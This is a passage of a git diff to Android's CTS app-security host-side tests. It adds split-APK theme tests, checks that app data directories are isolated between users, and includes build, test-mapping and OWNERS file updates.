+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBase_full() throws Exception {
+        testTheme_installBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBase_instant() throws Exception {
+        testTheme_installBase(true);
+    }
+    private void testTheme_installBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBase_baseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBaseV23_full() throws Exception {
+        testTheme_installBaseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBaseV23_instant() throws Exception {
+        testTheme_installBaseV23(true);
+    }
+    private void testTheme_installBaseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBaseLt_baseLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarm_full() throws Exception {
+        testTheme_installFeatureWarm(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarm_instant() throws Exception {
+        testTheme_installFeatureWarm(true);
+    }
+    private void testTheme_installFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_full() throws Exception {
+        testTheme_installFeatureWarmV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23(true);
+    }
+    private void testTheme_installFeatureWarmV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBaseLt_baseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_full() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(true);
+    }
+    private void testTheme_installFeatureWarmV23_removeV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.v23")
+                .removeSplit("feature_warm.config.v23").run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_full() throws Exception {
+        testTheme_installFeatureWarmAndRose(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_instant() throws Exception {
+        testTheme_installFeatureWarmAndRose(true);
+    }
+    private void testTheme_installFeatureWarmAndRose(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_ROSE).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRose_roseApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRose_roseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_full() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_instant() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(true);
+    }
+    private void testTheme_installFeatureWarmAndRoseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23)
+                .addFile(APK_FEATURE_WARM).addFile(APK_FEATURE_WARM_v23)
+                .addFile(APK_FEATURE_ROSE).addFile(APK_FEATURE_ROSE_v23).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRoseLt_roseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRoseLt_roseLtApplied");
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
index 4b260b1..7d46320 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
@@ -95,49 +95,6 @@
         assertThat(verifiedKnowRoleState).isTrue();
     }
 
-    @Test
-    public void testDangerousPermissionState() throws Exception {
-        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED = 1 << 8;
-        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED = 1 << 9;
-
-        // Set up what to collect
-        ConfigUtils.uploadConfigForPulledAtom(getDevice(), STATSD_APP_PKG,
-                AtomsProto.Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER);
-
-        boolean verifiedKnowPermissionState = false;
-
-        // Pull a report
-        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
-        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
-
-        int testAppId = getAppId(DeviceUtils.getAppUid(getDevice(), STATSD_APP_PKG));
-
-        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
-            AtomsProto.DangerousPermissionState permissionState =
-                    atom.getDangerousPermissionState();
-
-            assertThat(permissionState.getPermissionName()).isNotNull();
-            assertThat(permissionState.getUid()).isAtLeast(0);
-            assertThat(permissionState.getPackageName()).isNotNull();
-
-            if (getAppId(permissionState.getUid()) == testAppId) {
-
-                if (permissionState.getPermissionName().contains(
-                        "ACCESS_FINE_LOCATION")) {
-                    assertThat(permissionState.getIsGranted()).isTrue();
-                    assertThat(permissionState.getPermissionFlags() & ~(
-                            FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
-                                    | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
-                            .isEqualTo(0);
-
-                    verifiedKnowPermissionState = true;
-                }
-            }
-        }
-
-        assertThat(verifiedKnowPermissionState).isTrue();
-    }
-
     /**
      * The app id from a uid.
      *
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
new file mode 100644
index 0000000..252d258
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
@@ -0,0 +1,22 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ],
+      "file_patterns": ["SplitTests\\.java"]
+    },
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+        }
+      ],
+      "file_patterns": ["IsolatedSplitsTests\\.java"]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index e7254c2..8a6e06b 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -70,6 +70,25 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppDataIsolationAppApi29A",
+    defaults: ["cts_support_defaults"],
+    srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
+    libs: ["android.test.base"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+    manifest: "AppA/AndroidManifest_api29.xml",
+}
+
+android_test_helper_app {
     name: "CtsAppDataIsolationAppB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
new file mode 100644
index 0000000..15c3ce1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.appdataisolation.appa">
+
+    <uses-sdk android:targetSdkVersion="29" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".IsolatedService"
+                 android:process=":Isolated"
+                 android:isolatedProcess="true"/>
+        <service android:name=".AppZygoteIsolatedService"
+                 android:process=":Isolated2"
+                 android:isolatedProcess="true"
+                 android:useAppZygote="true"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.appdataisolation.appa"
+                     android:label="Test app data isolation."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index c25d3d9..bdd02b5 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -16,10 +16,12 @@
 
 package com.android.cts.appdataisolation.appa;
 
+import static com.android.cts.appdataisolation.common.FileUtils.APPA_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.APPB_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.CE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.DE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.EXTERNAL_DATA_FILE_NAME;
+import static com.android.cts.appdataisolation.common.FileUtils.NOT_INSTALLED_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.OBB_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsAccessible;
@@ -29,6 +31,7 @@
 import static com.android.cts.appdataisolation.common.FileUtils.touchFile;
 import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
@@ -39,19 +42,24 @@
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.ApplicationInfo;
+import android.os.Bundle;
 import android.os.IBinder;
 import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
 import android.view.KeyEvent;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.appdataisolation.common.FileUtils;
 
 import org.junit.Before;
 import org.junit.Test;
 
+import java.io.BufferedReader;
 import java.io.File;
+import java.io.InputStreamReader;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -287,4 +295,48 @@
             mContext.unbindService(mServiceConnection);
         }
     }
+
+    @Test
+    public void testOtherUserDirsNotPresent() throws Exception {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+        final String ceDataRoot = "/data/user/" + otherUserId;
+        final String deDataRoot = "/data/user_de/" + otherUserId;
+        final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+        assertDirDoesNotExist(ceDataRoot);
+        assertDirDoesNotExist(deDataRoot);
+        assertDirDoesNotExist(profileRoot);
+    }
+
+    @Test
+    public void testOtherUserDirsNotAccessible() throws Exception {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+        final String ceDataRoot = "/data/user/" + otherUserId;
+        final String deDataRoot = "/data/user_de/" + otherUserId;
+        final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+        // APPA (this app) is installed in this user but not the other one.
+        // APPB is installed in this user and the other one.
+        // NOT_INSTALLED_PKG isn't installed anywhere.
+        // We must get the same answer for all of them, so we can't infer if any of them are or
+        // are not installed in the other user.
+        assertDirIsNotAccessible(ceDataRoot);
+        assertDirIsNotAccessible(ceDataRoot + "/" + APPA_PKG);
+        assertDirIsNotAccessible(ceDataRoot + "/" + APPB_PKG);
+        assertDirIsNotAccessible(ceDataRoot + "/" + NOT_INSTALLED_PKG);
+
+        assertDirIsNotAccessible(deDataRoot);
+        assertDirIsNotAccessible(deDataRoot + "/" + APPA_PKG);
+        assertDirIsNotAccessible(deDataRoot + "/" + APPB_PKG);
+        assertDirIsNotAccessible(deDataRoot + "/" + NOT_INSTALLED_PKG);
+
+        assertDirIsNotAccessible(profileRoot);
+        assertDirIsNotAccessible(profileRoot + "/" + APPA_PKG);
+        assertDirIsNotAccessible(profileRoot + "/" + APPB_PKG);
+        assertDirIsNotAccessible(profileRoot + "/" + NOT_INSTALLED_PKG);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
index 9229fa6..41ca80d 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
@@ -24,6 +24,7 @@
 
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
+import android.os.UserHandle;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -59,7 +60,9 @@
         ApplicationInfo applicationInfo = mContext.getApplicationInfo();
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.dataDir));
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
-        assertDirIsAccessible("/data/data/" + APPA_PKG);
+        if (getCurrentUserId() == UserHandle.USER_SYSTEM) {
+            assertDirIsAccessible("/data/data/" + APPA_PKG);
+        }
         assertFileIsAccessible("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
                 + APPA_PKG + "/primary.prof");
         assertDirIsNotAccessible("/data/misc/profiles/ref");
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
index 819dcad..15450f9 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
@@ -59,17 +59,26 @@
         });
         assertThat(exception.getMessage()).contains(JAVA_FILE_PERMISSION_DENIED_MSG);
         assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_NOT_FOUND_MSG);
+
+        assertThat(new File(path).canExecute()).isFalse();
     }
 
     public static void assertDirDoesNotExist(String path) {
+        File directory = new File(path);
         // Trying to access a file/directory that does exist, but is not visible to the caller, it
         // should return file not found.
         Exception exception = expectThrows(FileNotFoundException.class, () -> {
-            new FileInputStream(new File(path));
+            new FileInputStream(directory);
         });
         assertThat(exception.getMessage()).contains(JAVA_FILE_NOT_FOUND_MSG);
         assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_PERMISSION_DENIED_MSG);
 
+        File parent = directory.getParentFile();
+        if (parent != null && !parent.exists()) {
+            // If the parent directory doesn't exist then we can be confident this
+            // directory is entirely invisible.
+            return;
+        }
         // Try to create a directory here, and it should return permission denied not directory
         // exists.
         try {
@@ -78,6 +87,8 @@
         } catch (ErrnoException e) {
             assertEquals(e.errno, OsConstants.EACCES, "Error on path: " + path);
         }
+
+        assertThat(directory.exists()).isFalse();
     }
 
     public static void assertDirIsAccessible(String path) {
@@ -85,6 +96,8 @@
         // if app has search permission to that directory, it should return file not found
         // and not security exception.
         assertFileDoesNotExist(path, "FILE_DOES_NOT_EXIST");
+
+        assertThat(new File(path).canExecute()).isTrue();
     }
 
     public static void assertFileIsAccessible(String path) {
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
index ea741c3..6ea9090 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
@@ -16,19 +16,11 @@
 
 package com.android.cts.appdataisolation.common;
 
-import android.app.ActivityManager;
-
-import com.android.compatibility.common.util.ShellIdentityUtils;
+import android.os.Process;
+import android.os.UserHandle;
 
 public final class UserUtils {
-
-    // Suppress default constructor
-    private UserUtils() {
-        throw new AssertionError();
-    }
-
     public static int getCurrentUserId() {
-        return ShellIdentityUtils.invokeStaticMethodWithShellPermissions(
-                () -> ActivityManager.getCurrentUser());
+        return UserHandle.getUserId(Process.myUid());
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index fa68a6d..4cbd602 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -23,6 +23,7 @@
         "vts",
         "general-tests",
         "mts",
+        "sts",
     ],
     dex_preopt: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index dcba2a6..6834791 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
index 8bdc594..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 95221
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
 dikshag@google.com
-zemiao@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 2e34b5e..ab0f334 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
index 9fe672b..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+dikshag@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index d75d4fc..c429885 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -494,7 +494,7 @@
 
         final PendingIntent pendingIntent = PendingIntent.getActivity(
                 getContext(), WEB_LINK_REQUEST_CODE, intent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
index aacd866..0c17955 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 49763
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index 24043ad..4a054d2 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -25,6 +25,7 @@
         "vts",
         "general-tests",
         "mts",
+        "sts",
     ],
     optimize: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
new file mode 100644
index 0000000..cee8c59
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 0badb96..8deeb76 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -73,6 +73,12 @@
         EXCEPTION_PATTERNS.add(":: 1002");          // used by remote control
         EXCEPTION_PATTERNS.add(":: 1020");          // used by remote control
         EXCEPTION_PATTERNS.add("0.0.0.0:7275");     // used by supl
+        // b/150186547 ports
+        EXCEPTION_PATTERNS.add("192.168.17.10:48881");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48896");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48897");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48898");
+        EXCEPTION_PATTERNS.add("192.168.17.10:48899");
         //no current patterns involve address, port and UID combinations
         //Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000")
 
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
new file mode 100644
index 0000000..0fa8469
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -0,0 +1,152 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_defaults {
+    name: "CtsSplitAppDefaults",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp",
